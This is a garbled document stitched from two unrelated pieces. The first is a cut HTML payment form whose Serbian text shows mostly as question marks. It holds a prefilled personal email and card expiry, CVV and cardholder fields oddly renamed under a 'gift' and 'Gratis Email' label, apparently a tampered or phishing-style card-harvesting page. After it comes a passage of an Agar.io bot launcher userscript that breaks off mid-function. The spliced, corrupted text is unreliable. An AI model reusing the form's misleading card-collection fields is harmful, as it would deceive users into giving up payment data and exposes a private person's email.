(???????)</font></font></option><option value="HN"><font><font>????????</font></font></option><option value="HK"><font><font>????????</font></font></option><option value="HU"><font><font>????????</font></font></option><option value="IS"><font><font>??????</font></font></option><option value="IN"><font><font>??????</font></font></option><option value="ID"><font><font>??????????</font></font></option><option value="IQ"><font><font>????</font></font></option><option value="IE"><font><font>?????</font></font></option><option value="IM"><font><font>?????? ???</font></font></option><option value="IL"><font><font>??????</font></font></option><option value="IT"><font><font>???????</font></font></option><option value="JM"><font><font>???????</font></font></option><option value="JP"><font><font>?????</font></font></option><option value="JO"><font><font>??????</font></font></option><option value="KZ"><font><font>?????????</font></font></option><option value="KE"><font><font>??????</font></font></option><option value="KI"><font><font>????????</font></font></option><option value="KR"><font><font>????????? ??????</font></font></option><option value="KW"><font><font>??????</font></font></option><option value="KG"><font><font>?????????</font></font></option><option value="LA"><font><font>????</font></font></option><option value="LV"><font><font>????????</font></font></option><option value="LB"><font><font>?????</font></font></option><option value="LS"><font><font>??????</font></font></option><option value="LR"><font><font>????????</font></font></option><option value="LY"><font><font>??????</font></font></option><option value="LI"><font><font>???????????</font></font></option><option value="LT"><font><font>?????????</font></font></option><option value="LU"><font><font>??????????</font></font></option><option value="MO"><font><font>?????</font></font></option><option value="MK"><font><font>??????????, ????? ??????. </font><font>???</font></font></option><option value="MG"><font><font>??????????</font></font></option><option value="MW"><font><font>??????</font></font></option><option value="MY"><font><font>????????</font></font></option><option value="MV"><font><font>???????</font></font></option><option value="ML"><font><font>????</font></font></option><option value="MT"><font><font>?????</font></font></option><option value="MH"><font><font>????????? ??????</font></font></option><option value="MQ"><font><font>????????</font></font></option><option value="MR"><font><font>???????????</font></font></option><option value="MU"><font><font>??????????</font></font></option><option value="YT"><font><font>??????</font></font></option><option value="MX"><font><font>???????</font></font></option><option value="FM"><font><font>???????????, ????????? ??????</font></font></option><option value="MD"><font><font>?????????, ?????????</font></font></option><option value="MC"><font><font>??????</font></font></option><option value="MN"><font><font>?????????</font></font></option><option value="ME"><font><font>???? ????</font></font></option><option value="MS"><font><font>????????</font></font></option><option value="MA"><font><font>??????</font></font></option><option value="MZ"><font><font>????????</font></font></option><option value="NA"><font><font>????????</font></font></option><option value="NR"><font><font>?????</font></font></option><option value="NP"><font><font>?????</font></font></option><option value="NL"><font><font>?????????</font></font></option><option value="NC"><font><font>???? ??????????</font></font></option><option value="NZ"><font><font>???? ??????</font></font></option><option value="NI"><font><font>?????????</font></font></option><option value="NE"><font><font>?????</font></font></option><option value="NG"><font><font>????????</font></font></option><option value="NU"><font><font>????</font></font></option><option value="NF"><font><font>?????? ???????</font></font></option><option value="MP"><font><font>??????? ?????????? ??????</font></font></option><option value="NO"><font><font>????????</font></font></option><option value="OM"><font><font>????</font></font></option><option value="PK"><font><font>????????</font></font></option><option value="PW"><font><font>?????</font></font></option><option value="PS"><font><font>?????????? ?????????, ???????</font></font></option><option value="PA"><font><font>??????</font></font></option><option value="PG"><font><font>????? ???? ???????</font></font></option><option value="PY"><font><font>????????</font></font></option><option value="PE"><font><font>????</font></font></option><option value="PH"><font><font>????????</font></font></option><option value="PN"><font><font>???????</font></font></option><option value="PL"><font><font>??????</font></font></option><option value="PT"><font><font>???????????</font></font></option><option value="PR"><font><font>?????????</font></font></option><option value="QA"><font><font>?????</font></font></option><option value="RE"><font><font>???????</font></font></option><option value="RO"><font><font>????????</font></font></option><option value="RU"><font><font>????? ??????????</font></font></option><option value="RW"><font><font>??????</font></font></option><option value="GS"><font><font>? ??????? ? ?. ??????? ???.</font></font></option><option value="BL"><font><font>????? ??????????</font></font></option><option value="SH"><font><font>????? ??????</font></font></option><option value="KN"><font><font>????? ???? ? ?????</font></font></option><option value="LC"><font><font>????? ??????</font></font></option><option value="MF"><font><font>????? ?????? (????????? ???)</font></font></option><option value="PM"><font><font>???? ???? ? ???????</font></font></option><option value="WS"><font><font>?????</font></font></option><option value="SM"><font><font>??? ??????</font></font></option><option value="ST"><font><font>??? ???? ? ????????</font></font></option><option value="SA"><font><font>????????? ???????</font></font></option><option value="SN"><font><font>???????</font></font></option><option value="RS" selected="selected"><font><font>??????</font></font></option><option value="SC"><font><font>???????</font></font></option><option value="SL"><font><font>?????? ?????</font></font></option><option value="SG"><font><font>????????</font></font></option><option value="SX"><font><font>???? ???????</font></font></option><option value="SK"><font><font>????????</font></font></option><option value="SI"><font><font>?????????</font></font></option><option value="SB"><font><font>?????????? ??????</font></font></option><option value="SO"><font><font>????????</font></font></option><option value="ZA"><font><font>????? ??????</font></font></option><option value="SS"><font><font>????? ?????</font></font></option><option value="ES"><font><font>???????</font></font></option><option value="LK"><font><font>??? ?????</font></font></option><option value="VC"><font><font>????? ??????? ? ?????????</font></font></option><option value="SR"><font><font>???????</font></font></option><option value="SJ"><font><font>???????? ? ??? ?????</font></font></option><option value="SZ"><font><font>?????????</font></font></option><option value="SE"><font><font>???????</font></font></option><option value="CH"><font><font>??????????</font></font></option><option value="TW"><font><font>??????</font></font></option><option value="TJ"><font><font>??????????</font></font></option><option value="TZ"><font><font>?????????, ????????? ?????????</font></font></option><option value="TH"><font><font>???????</font></font></option><option value="TL"><font><font>??????? ?????</font></font></option><option value="TG"><font><font>????</font></font></option><option value="TK"><font><font>???????</font></font></option><option value="TO"><font><font>???? ?????????</font></font></option><option value="TT"><font><font>???????? ? ??????</font></font></option><option value="TN"><font><font>?????</font></font></option><option value="TR"><font><font>??????</font></font></option><option value="TM"><font><font>????????????</font></font></option><option value="TC"><font><font>?????? ????? ? ??????</font></font></option><option value="TV"><font><font>??????</font></font></option><option value="UM"><font><font>??? ??? ??????? ??????</font></font></option><option value="UG"><font><font>??????</font></font></option><option value="UA"><font><font>????????</font></font></option><option value="AE"><font><font>????????? ??????? ???????</font></font></option><option value="GB"><font><font>????????? ??????????</font></font></option><option value="US"><font><font>????????? ???????? ??????</font></font></option><option value="UY"><font><font>???????</font></font></option><option value="UZ"><font><font>??????????</font></font></option><option value="VU"><font><font>???????</font></font></option><option value="VE"><font><font>?????????</font></font></option><option value="VN"><font><font>????????</font></font></option><option value="VG"><font><font>????????? ?????????? ??????</font></font></option><option value="VI"><font><font>?????????? ??????, ???</font></font></option><option value="WF"><font><font>????? ? ??????</font></font></option><option value="EH"><font><font>??????? ??????</font></font></option><option value="YE"><font><font>?????</font></font></option><option value="ZM"><font><font>???????</font></font></option><option value="ZW"><font><font>????????</font></font></option></optgroup></select></div></div></fieldset></div><div class="CBWrapper" id="deliveryContactRight"><fieldset class="fieldset CBFieldsetContact"><legend><font><font>???????</font></font></legend><div class="CBWrapper" id="deliveryContactEmailNote"><!--//19--></div><div class="CBWrapper" id="deliveryContactEmailInput"><div class="interact interactRequired deliveryEmail CBLabelOverlay"><div class="interactLabel interactLabelRequired"><label id="label_cbiID0ECAACBBBIBOA" class=" CBJSFold" for="cbiID0ECAACBBBIBOA"><span class="interactLabel interactLabelRequired"><span class="requiredSymbol"><font><font>*</font></font></span><font><font> ?-????</font></font></span></label></div><div class="interactField interactFieldRequired"><input type="text" class="inputText large" id="cbiID0ECAACBBBIBOA" onchange="cbBind('cbChangeInteractLabel[targetId{label_cbiID0ECAACBBBIBOA}];', this, event);" onkeyup="cbBind('cbKeyInteractLabel[targetId{label_cbiID0ECAACBBBIBOA}];', this, event);" onfocus="cbBind('cbFocus[];cbFocusInteractLabel[targetId{label_cbiID0ECAACBBBIBOA}];', this, event);" onblur="cbBind('cbBlur[];cbBlurInteractLabel[targetId{label_cbiID0ECAACBBBIBOA}];', this, event);" onkeypress="cbBind('cbCheckKeySubmit[];', this, event);" tabindex="22" name="deliveryEmail" value="dejan.1901@hotmail.com" autocorrect="off" autocapitalize="off" size="20"></div></div></div></fieldset><fieldset class="fieldset CBFieldsetCompany"><legend><font><font>???????</font></font></legend><div class="interact deliveryCompany CBLabelOverlay" id="cbiID0EAABBIBOA"><div class="interactLabel"><label id="label_cbiID0ECAAABBIBOA" class=" CBJSFold" for="cbiID0ECAAABBIBOA"><span class="interactLabel"><font><font>???????</font></font></span></label></div><div class="interactField"><input type="text" class="inputText large" id="cbiID0ECAAABBIBOA" onchange="cbBind('cbChangeInteractLabel[targetId{label_cbiID0ECAAABBIBOA}];', this, event);" onkeyup="cbBind('cbKeyInteractLabel[targetId{label_cbiID0ECAAABBIBOA}];', this, event);" onfocus="cbBind('cbFocus[];cbFocusInteractLabel[targetId{label_cbiID0ECAAABBIBOA}];', this, event);" onblur="cbBind('cbBlur[];cbBlurInteractLabel[targetId{label_cbiID0ECAAABBIBOA}];', this, event);" onkeypress="cbBind('cbCheckKeySubmit[];', this, event);" tabindex="25" name="deliveryCompany" value="Tanex" size="20"></div></div></fieldset></div><div class="Clearer"><!--Hidden clearer--></div></div><div class="CBWrapper" id="cleverNewsletterCheckbox"><input type="checkbox" class="inputCheckbox" tabindex="26" id="cbiID0EBAIBOA" onkeypress="cbBind('cbCheckKeySubmit[];', this, event);" name="x-newsletter" value="YES" checked="checked"><input type="hidden" value="NO" name="notifier_x-newsletter"><label for="cbiID0EBAIBOA"><span class="inputCheckboxLabel"><font><font>??! </font><font>?????? ??? ?? ?? ? ???????????? ?????? ? ???????? ?? ????????, ??????????, ??????????? ???????? ? ?????? ???????.</font></font></span></label><div class="Clearer"><!--Hidden clearer--></div></div><div class="blockContentClearer"><!--//23--></div></div></div></div><input type="hidden" id="cbiID0EHBOA" name="copyDeliveryToBillingIn" value="YES"><input type="hidden" id="cbiID0EGBOA" name="copyDeliveryToLicenseeIn" value="YES"><div id="cleverPayment" class=""><div class="block"><div class="blockHeadline"><h1><font><font class="">?????? poklona</font></font></h1><!--//21--></div><div class="blockContent"><div class="CBWrapper"><div class="interact gratisSubTypeId CBLabelOverlay"><div class="interactLabel interactLabelRequired"><label id="label_handlerCleverPaymentTypeCca" for="handlerCleverPaymentTypeCca"><span class="interactLabel interactLabelRequired"><span class="requiredSymbol"><font><font>*</font></font></span><font><font> ??????? ??????</font></font></span></label></div><div class="interactField interactFieldRequired"><span class="messageError"><font><font>????????? ?????? poklona.</font></font></span><ul class="CBList CBPaymentsList"><li class="CBListItem"><div class="CBWrapper CBPaymentName"><div class="radio CBEvent"><input type="radio" class="inputRadio CBEvent" tabindex="31" id="handlerCleverPaymentTypeCca" onclick="cbBind('cbDisplay[targetId{cleverPaymentCca},listenerValueWhiteList{list:[CCA,CCA_VIS,CCA_VID,CCA_MAS,CCA_AMX,CCA_JCB,CRD]}];cbFold[targetId{cleverGratisPpa}];cbFold[targetId{clevergratisWtr}];', this, event);" onkeypress="cbBind('cbCheckKeySubmit[];', this, event);" name="GratisSubTypeId" value="CRD"><label for="handlerCleverGratisTypeCca"><span class="radioLabel CBEvent"><font><font>???????? ???????</font></font></span></label></div><div class="CBTabs CBPaymentIconsList"><div class="CBTabsOuter"><div class="CBTabsInner"><ul class="CBTabs"><li title="????" class="CBTab CBPaymentIcon_CCA_VIS"><span class="CBTab CBPaymentIcon_CCA_VIS"><font><font>Email</font></font></span></li><li title="Email" class="CBTab CBPaymentIcon_CCA_MAS"><span class="CBTab CBPaymentIcon_CCA_MAS"><font><font>Email</font></font></span></li><li title="dejan.1901@hotmail.com" class="CBTab CBPaymentIcon_CCA_AMX"><span class="CBTab CBPaymentIcon_CCA_AMX"><font><font>Email</font></font></span></li><li title="???" class="CBTab CBPaymentIcon_CCA_JCB"><span class="CBTab CBPaymentIcon_CCA_JCB"><font><font>???</font></font></span></li></ul><div class="Clearer"><!--//8--></div></div></div></div></div><div class="CBWrapper CBPaymentDetails CBJSFold" id="cleverPaymentCca"><span class="CBText"><font><font>??????? ? ???????? ??????????? ? Email.</font></font></span><div class="CBWrapper"><div class="interact interactRequired Gratis na email dejan.1901@hotmail.com. CBLabelOverlay"><div class="interactLabel interactLabelRequired"><label id="label_cbiID0ECABCACAACAAAEBOA" for="cbiID0ECABCACAACAAAEBOA"><span class="interactLabel interactLabelRequired"><span class="requiredSymbol"><font><font>*</font></font></span><font><font> email "dejan.1901@hotmail.com</font></font></span></label></div><div class="interactField interactFieldRequired"><input type="text" class="inputText inputTextRequired large" id="cbiID0ECABCACAACAAAEBOA" onchange="cbBind('cbChangeInteractLabel[targetId{label_cbiID0ECABCACAACAAAEBOA}];', this, event);" onkeyup="cbBind('cbKeyInteractLabel[targetId{label_cbiID0ECABCACAACAAAEBOA}];', this, event);" onfocus="cbBind('cbFocus[];cbFocusInteractLabel[targetId{label_cbiID0ECABCACAACAAAEBOA}];', this, event);" onblur="cbBind('cbBlur[];cbBlurInteractLabel[targetId{label_cbiID0ECABCACAACAAAEBOA}];', this, event);" onkeypress="cbBind('cbCheckKeySubmit[];', this, event);" tabindex="32" name="Gratis Email dejan.1901@hotmail.com" autocomplete="off" size="20"></div></div><div class="Clearer"><!--Hidden clearer--></div></div><div class="CBWrapper"><fieldset class="fieldset"><legend><font><font>??? ????????</font></font></legend><div class="interact interactRequired paymentCardValidToMonth CBLabelOverlay"><div class="interactField interactFieldRequired"><select class="inputSelect inputSelectRequired medium" id="cbiID0ECABCBACAACAAAEBOA" onchange="cbBind('cbChangeInteractLabel[targetId{label_cbiID0ECABCBACAACAAAEBOA}];', this, event);" onfocus="cbBind('cbFocus[];cbFocusInteractLabel[targetId{label_cbiID0ECABCBACAACAAAEBOA}];', this, event);" onblur="cbBind('cbBlur[];cbBlurInteractLabel[targetId{label_cbiID0ECABCBACAACAAAEBOA}];', this, event);" tabindex="33" value="" name="Gratis Email dejan.1901@hotmail.com"><option value=""><font><font>* ?????</font></font></option><option value="1"><font><font>01</font></font></option><option value="2"><font><font>02</font></font></option><option value="3"><font><font>03</font></font></option><option value="4"><font><font>04</font></font></option><option value="5"><font><font>05</font></font></option><option value="6"><font><font>06</font></font></option><option value="7"><font><font>07</font></font></option><option value="8"><font><font>08</font></font></option><option value="9"><font><font>09</font></font></option><option value="10"><font><font>10</font></font></option><option value="11"><font><font>11</font></font></option><option value="12"><font><font>12</font></font></option></select></div></div><div class="interact interactRequired paymentCardValidToYear CBLabelOverlay"><div class="interactField interactFieldRequired"><select class="inputSelect inputSelectRequired medium" id="cbiID0ECAACBACAACAAAEBOA" onchange="cbBind('cbChangeInteractLabel[targetId{label_cbiID0ECAACBACAACAAAEBOA}];', this, event);" onfocus="cbBind('cbFocus[];cbFocusInteractLabel[targetId{label_cbiID0ECAACBACAACAAAEBOA}];', this, event);" onblur="cbBind('cbBlur[];cbBlurInteractLabel[targetId{label_cbiID0ECAACBACAACAAAEBOA}];', this, event);" tabindex="34" value="" name="paymentCardValidToYear"><option value=""><font><font>* ??????</font></font></option><option value="2013"><font><font>2013</font></font></option><option value="2014"><font><font>2014</font></font></option><option value="2015"><font><font>2015</font></font></option><option value="2016"><font><font>2016</font></font></option><option value="2017"><font><font>2017</font></font></option><option value="2018"><font><font>2018</font></font></option><option value="2019"><font><font>2019</font></font></option><option value="2020"><font><font>2020</font></font></option><option value="2021"><font><font>2021</font></font></option><option value="2022"><font><font>2022</font></font></option><option value="2023"><font><font>2023</font></font></option><option value="2024"><font><font>2024</font></font></option><option value="2025"><font><font>2025</font></font></option><option value="2026"><font><font>2026</font></font></option><option value="2027"><font><font>2027</font></font></option></select></div></div></fieldset><div class="interact interactRequired paymentCardCvv CBLabelOverlay CBInteractInfoPopup"><div class="interactLabel interactLabelRequired"><label id="label_cbiID0ECABBACAACAAAEBOA" for="cbiID0ECABBACAACAAAEBOA"><span class="interactLabel interactLabelRequired"><span class="requiredSymbol"><font><font>*</font></font></span><font><font> ?????????? ???</font></font></span></label></div><div class="interactField interactFieldRequired"><input type="text" class="inputText inputTextRequired small" id="cbiID0ECABBACAACAAAEBOA" onchange="cbBind('cbChangeInteractLabel[targetId{label_cbiID0ECABBACAACAAAEBOA}];', this, event);" onkeyup="cbBind('cbKeyInteractLabel[targetId{label_cbiID0ECABBACAACAAAEBOA}];', this, event);" onfocus="cbBind('cbFocus[];cbFocusInteractLabel[targetId{label_cbiID0ECABBACAACAAAEBOA}];', this, event);" onblur="cbBind('cbBlur[];cbBlurInteractLabel[targetId{label_cbiID0ECABBACAACAAAEBOA}];', this, event);" onkeypress="cbBind('cbCheckKeySubmit[];', this, event);" tabindex="35" name="Gratis Email na dejan.1901@hotmail.com" autocomplete="off" size="4"><a class="CBHyperLink CBEvent" id="cbiID0EACABBACAACAAAEBOA" href="javascript:void(null);" onmouseover="cbBind('cbPopLayer[layerId{cleverLayerPopupHelp},layerPosition{mouse},layerContentNodeId{webOrderProcessHelp.helpCvv},layerHeadNodeId{webOrderProcessHelp.contextHelp},layerCloseNodeId{webOrderProcessHelp.close}];', this, event);"><span class="CBHyperLink CBEvent"><!--//16--></span></a></div></div><div class="Clearer"><!--Hidden clearer--></div></div><div class="CBWrapper"><div class="interact interactRequired GratistHolder CBLabelOverlay"><div class="interactLabel interactLabelRequired"><label id="label_cbiID0ECABAACAACAAAEBOA" for="cbiID0ECABAACAACAAAEBOA"><span class="interactLabel interactLabelRequired"><span class="requiredSymbol"><font><font>*</font></font></span><font><font> ??? ???????? ???????</font></font></span></label></div><div class="interactField interactFieldRequired"><input type="text" class="inputText inputTextRequired large" id="cbiID0ECABAACAACAAAEBOA" onchange="cbBind('cbChangeInteractLabel[targetId{label_cbiID0ECABAACAACAAAEBOA}];', this, event);" onkeyup="cbBind('cbKeyInteractLabel[targetId{label_cbiID0ECABAACAACAAAEBOA}];', this, event);" onfocus="cbBind('cbFocus[];cbFocusInteractLabel[targetId{label_cbiID0ECABAACAACAAAEBOA}];', this, event);" onblur="cbBind('cbBlur[];cbBlurInteractLabel[targetId{label_cbiID0ECABAACAACAAAEBOA}];', this, event);" onkeypress="cbBind('cbCheckKeySubmit[];', this, event);" tabindex="36" name="paymentCardHolder" size="20"></div></div><div class="Clearer"><!--Hidden clearer--></div></div></div></li><li class="CBListItem"><div class="CBWrapper CBGratisName"><div class="radio CBEvent"><input type="radio" class="inputRadio CBEvent" tabindex="37" id="handlerCleverGratisTypePpa" onclick="cbBind('cbFold[targetId{cleverPaymentCca}];cbDisplay[targetId{cleverGratisPpa}];cbFold[targetId{cleverGratisWtr}];', this, event);" onkeypress="cbBind('cbCheckKeySubmit[];', this, event);" name="GratisSubTypeId" value="PPA"><label for="handlerCleverGratisTypePpa"><span class="radioLabel CBEvent"><font><font>Gratis</font></font></span></label></div><div class="CBTabs CBPaymentIconsList"><div class="CBTabsOuter"><div class="CBTabsInner"><ul class="CBTabs"><li title="Gratis" class="CBTab CBPaymentIcon_PPA_STD"><span class="CBTab CBPaymentIcon_PPA_STD"><font><font>??????</font></font></span></li></ul><div class="Clearer"><!--//8--></div></div><
Lifestylerr
/*The MIT License (MIT) Copyright (c) 2015 Apostolique Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.*/ // ==UserScript== // @name AposLauncher // @namespace AposLauncher // @include http://agar.io/* // @version 4.124 // @grant none // @author http://www.twitch.tv/apostolique // ==/UserScript== var aposLauncherVersion = 4.124; Number.prototype.mod = function(n) { return ((this % n) + n) % n; }; Array.prototype.peek = function() { return this[this.length - 1]; }; var sha = "efde0488cc2cc176db48dd23b28a20b90314352b"; function getLatestCommit() { window.jQuery.ajax({ url: "https://api.github.com/repos/apostolique/Agar.io-bot/git/refs/heads/master", cache: false, dataType: "jsonp" }).done(function(data) { console.dir(data.data); console.log("hmm: " + data.data.object.sha); sha = data.data.object.sha; function update(prefix, name, url) { window.jQuery(document.body).prepend("<div id='" + prefix + "Dialog' style='position: absolute; left: 0px; right: 0px; top: 0px; bottom: 0px; z-index: 100; display: none;'>"); window.jQuery('#' + prefix + 'Dialog').append("<div id='" + prefix + "Message' style='width: 350px; background-color: #FFFFFF; margin: 100px auto; border-radius: 15px; padding: 5px 15px 5px 15px;'>"); window.jQuery('#' + prefix + 'Message').append("<h2>UPDATE TIME!!!</h2>"); window.jQuery('#' + prefix + 'Message').append("<p>Grab the update for: <a id='" + prefix + "Link' href='" + url + "' target=\"_blank\">" + name + "</a></p>"); window.jQuery('#' + prefix + 'Link').on('click', function() { window.jQuery("#" + prefix + "Dialog").hide(); window.jQuery("#" + prefix + "Dialog").remove(); }); window.jQuery("#" + prefix + "Dialog").show(); } window.jQuery.get('https://raw.githubusercontent.com/Apostolique/Agar.io-bot/master/launcher.user.js?' + Math.floor((Math.random() * 1000000) + 1), function(data) { var latestVersion = data.replace(/(\r\n|\n|\r)/gm, ""); latestVersion = latestVersion.substring(latestVersion.indexOf("// @version") + 11, latestVersion.indexOf("// @grant")); latestVersion = parseFloat(latestVersion + 0.0000); var myVersion = parseFloat(aposLauncherVersion + 0.0000); if (latestVersion > myVersion) { update("aposLauncher", "launcher.user.js", "https://github.com/Apostolique/Agar.io-bot/blob/" + sha + "/launcher.user.js/"); } console.log('Current launcher.user.js Version: ' + myVersion + " on Github: " + latestVersion); }); }).fail(function() {}); } getLatestCommit(); console.log("Running Bot Launcher!"); (function(d, e) { //UPDATE function keyAction(e) { if (84 == e.keyCode) { console.log("Toggle"); toggle = !toggle; } if (82 == e.keyCode) { console.log("ToggleDraw"); toggleDraw = !toggleDraw; } if (68 == e.keyCode) { window.setDarkTheme(!getDarkBool()); } if (70 == e.keyCode) { window.setShowMass(!getMassBool()); } if (69 == e.keyCode) { if (message.length > 0) { window.setMessage([]); window.onmouseup = function() {}; window.ignoreStream = true; } else { window.ignoreStream = false; window.refreshTwitch(); } } window.botList[botIndex].keyAction(e); } function humanPlayer() { //Don't need to do anything. return [getPointX(), getPointY()]; } function pb() { //UPDATE window.botList = window.botList || []; window.jQuery('#nick').val(originalName); function HumanPlayerObject() { this.name = "Human"; this.keyAction = function(key) {}; this.displayText = function() { return []; }; this.mainLoop = humanPlayer; } var hpo = new HumanPlayerObject(); window.botList.push(hpo); window.updateBotList(); ya = !0; Pa(); setInterval(Pa, 18E4); var father = window.jQuery("#canvas").parent(); window.jQuery("#canvas").remove(); father.prepend("<canvas id='canvas'>"); G = za = document.getElementById("canvas"); f = G.getContext("2d"); G.onmousedown = function(a) { if (Qa) { var b = a.clientX - (5 + m / 5 / 2), c = a.clientY - (5 + m / 5 / 2); if (Math.sqrt(b * b + c * c) <= m / 5 / 2) { V(); H(17); return } } fa = a.clientX; ga = a.clientY; Aa(); V(); }; G.onmousemove = function(a) { fa = a.clientX; ga = a.clientY; Aa(); }; G.onmouseup = function() {}; /firefox/i.test(navigator.userAgent) ? document.addEventListener("DOMMouseScroll", Ra, !1) : document.body.onmousewheel = Ra; var a = !1, b = !1, c = !1; d.onkeydown = function(l) { //UPDATE if (!window.jQuery('#nick').is(":focus")) { 32 != l.keyCode || a || (V(), H(17), a = !0); 81 != l.keyCode || b || (H(18), b = !0); 87 != l.keyCode || c || (V(), H(21), c = !0); 27 == l.keyCode && Sa(!0); //UPDATE keyAction(l); } }; d.onkeyup = function(l) { 32 == l.keyCode && (a = !1); 87 == l.keyCode && (c = !1); 81 == l.keyCode && b && (H(19), b = !1); }; d.onblur = function() { H(19); c = b = a = !1 }; d.onresize = Ta; d.requestAnimationFrame(Ua); setInterval(V, 40); y && e("#region").val(y); Va(); ha(e("#region").val()); 0 == Ba && y && I(); W = !0; e("#overlays").show(); Ta(); d.location.hash && 6 <= d.location.hash.length && Wa(d.location.hash) } function Ra(a) { J *= Math.pow(.9, a.wheelDelta / -120 || a.detail || 0); //UPDATE 0.07 > J && (J = 0.07); J > 4 / h && (J = 4 / h) } function qb() { if (.4 > h) X = null; else { for (var a = Number.POSITIVE_INFINITY, b = Number.POSITIVE_INFINITY, c = Number.NEGATIVE_INFINITY, l = Number.NEGATIVE_INFINITY, d = 0, p = 0; p < v.length; p++) { var g = v[p]; !g.N() || g.R || 20 >= g.size * h || (d = Math.max(g.size, d), a = Math.min(g.x, a), b = Math.min(g.y, b), c = Math.max(g.x, c), l = Math.max(g.y, l)) } X = rb.ka({ ca: a - 10, da: b - 10, oa: c + 10, pa: l + 10, ma: 2, na: 4 }); for (p = 0; p < v.length; p++) if (g = v[p], g.N() && !(20 >= g.size * h)) for (a = 0; a < g.a.length; ++a) b = g.a[a].x, c = g.a[a].y, b < s - m / 2 / h || c < t - r / 2 / h || b > s + m / 2 / h || c > t + r / 2 / h || X.m(g.a[a]) } } function Aa() { //UPDATE if (toggle || window.botList[botIndex].name == "Human") { setPoint(((fa - m / 2) / h + s), ((ga - r / 2) / h + t)); } } function Pa() { null == ka && (ka = {}, e("#region").children().each(function() { var a = e(this), b = a.val(); b && (ka[b] = a.text()) })); e.get("https://m.agar.io/info", function(a) { var b = {}, c; for (c in a.regions) { var l = c.split(":")[0]; b[l] = b[l] || 0; b[l] += a.regions[c].numPlayers } for (c in b) e('#region option[value="' + c + '"]').text(ka[c] + " (" + b[c] + " players)") }, "json") } function Xa() { e("#adsBottom").hide(); e("#overlays").hide(); W = !1; Va(); d.googletag && d.googletag.pubads && d.googletag.pubads().clear(d.aa) } function ha(a) { a && a != y && (e("#region").val() != a && e("#region").val(a), y = d.localStorage.location = a, e(".region-message").hide(), e(".region-message." + a).show(), e(".btn-needs-server").prop("disabled", !1), ya && I()) } function Sa(a) { W || (K = null, sb(), a && (x = 1), W = !0, e("#overlays").fadeIn(a ? 200 : 3E3)) } function Y(a) { e("#helloContainer").attr("data-gamemode", a); P = a; e("#gamemode").val(a) } function Va() { e("#region").val() ? d.localStorage.location = e("#region").val() : d.localStorage.location && e("#region").val(d.localStorage.location); e("#region").val() ? e("#locationKnown").append(e("#region")) : e("#locationUnknown").append(e("#region")) } function sb() { la && (la = !1, setTimeout(function() { la = !0 //UPDATE }, 6E4 * Ya)) } function Z(a) { return d.i18n[a] || d.i18n_dict.en[a] || a } function Za() { var a = ++Ba; console.log("Find " + y + P); e.ajax("https://m.agar.io/findServer", { error: function() { setTimeout(Za, 1E3) }, success: function(b) { a == Ba && (b.alert && alert(b.alert), Ca("ws://" + b.ip, b.token)) }, dataType: "json", method: "POST", cache: !1, crossDomain: !0, data: (y + P || "?") + "\n154669603" }) } function I() { ya && y && (e("#connecting").show(), Za()) } function Ca(a, b) { if (q) { q.onopen = null; q.onmessage = null; q.onclose = null; try { q.close() } catch (c) {} q = null } Da.la && (a = "ws://" + Da.la); if (null != L) { var l = L; L = function() { l(b) } } if (tb) { var d = a.split(":"); a = d[0] + "s://ip-" + d[1].replace(/\./g, "-").replace(/\//g, "") + ".tech.agar.io:" + (+d[2] + 2E3) } M = []; k = []; E = {}; v = []; Q = []; F = []; z = A = null; R = 0; $ = !1; console.log("Connecting to " + a); //UPDATE serverIP = a; q = new WebSocket(a); q.binaryType = "arraybuffer"; q.onopen = function() { var a; console.log("socket open"); a = N(5); a.setUint8(0, 254); a.setUint32(1, 5, !0); O(a); a = N(5); a.setUint8(0, 255); a.setUint32(1, 154669603, !0); O(a); a = N(1 + b.length); a.setUint8(0, 80); for (var c = 0; c < b.length; ++c) a.setUint8(c + 1, b.charCodeAt(c)); O(a); $a() }; q.onmessage = ub; q.onclose = vb; q.onerror = function() { console.log("socket error") } } function N(a) { return new DataView(new ArrayBuffer(a)) } function O(a) { q.send(a.buffer) } function vb() { $ && (ma = 500); console.log("socket close"); setTimeout(I, ma); ma *= 2 } function ub(a) { wb(new DataView(a.data)) } function wb(a) { function b() { for (var b = "";;) { var d = a.getUint16(c, !0); c += 2; if (0 == d) break; b += String.fromCharCode(d) } return b } var c = 0; 240 == a.getUint8(c) && (c += 5); switch (a.getUint8(c++)) { case 16: xb(a, c); break; case 17: aa = a.getFloat32(c, !0); c += 4; ba = a.getFloat32(c, !0); c += 4; ca = a.getFloat32(c, !0); c += 4; break; case 20: k = []; M = []; break; case 21: Ea = a.getInt16(c, !0); c += 2; Fa = a.getInt16(c, !0); c += 2; Ga || (Ga = !0, na = Ea, oa = Fa); break; case 32: M.push(a.getUint32(c, !0)); c += 4; break; case 49: if (null != A) break; var l = a.getUint32(c, !0), c = c + 4; F = []; for (var d = 0; d < l; ++d) { var p = a.getUint32(c, !0), c = c + 4; F.push({ id: p, name: b() }) } ab(); break; case 50: A = []; l = a.getUint32(c, !0); c += 4; for (d = 0; d < l; ++d) A.push(a.getFloat32(c, !0)), c += 4; ab(); break; case 64: pa = a.getFloat64(c, !0); c += 8; qa = a.getFloat64(c, !0); c += 8; ra = a.getFloat64(c, !0); c += 8; sa = a.getFloat64(c, !0); c += 8; aa = (ra + pa) / 2; ba = (sa + qa) / 2; ca = 1; 0 == k.length && (s = aa, t = ba, h = ca); break; case 81: var g = a.getUint32(c, !0), c = c + 4, e = a.getUint32(c, !0), c = c + 4, f = a.getUint32(c, !0), c = c + 4; setTimeout(function() { S({ e: g, f: e, d: f }) }, 1200) } } function xb(a, b) { bb = C = Date.now(); $ || ($ = !0, e("#connecting").hide(), cb(), L && (L(), L = null)); var c = Math.random(); Ha = !1; var d = a.getUint16(b, !0); b += 2; for (var u = 0; u < d; ++u) { var p = E[a.getUint32(b, !0)], g = E[a.getUint32(b + 4, 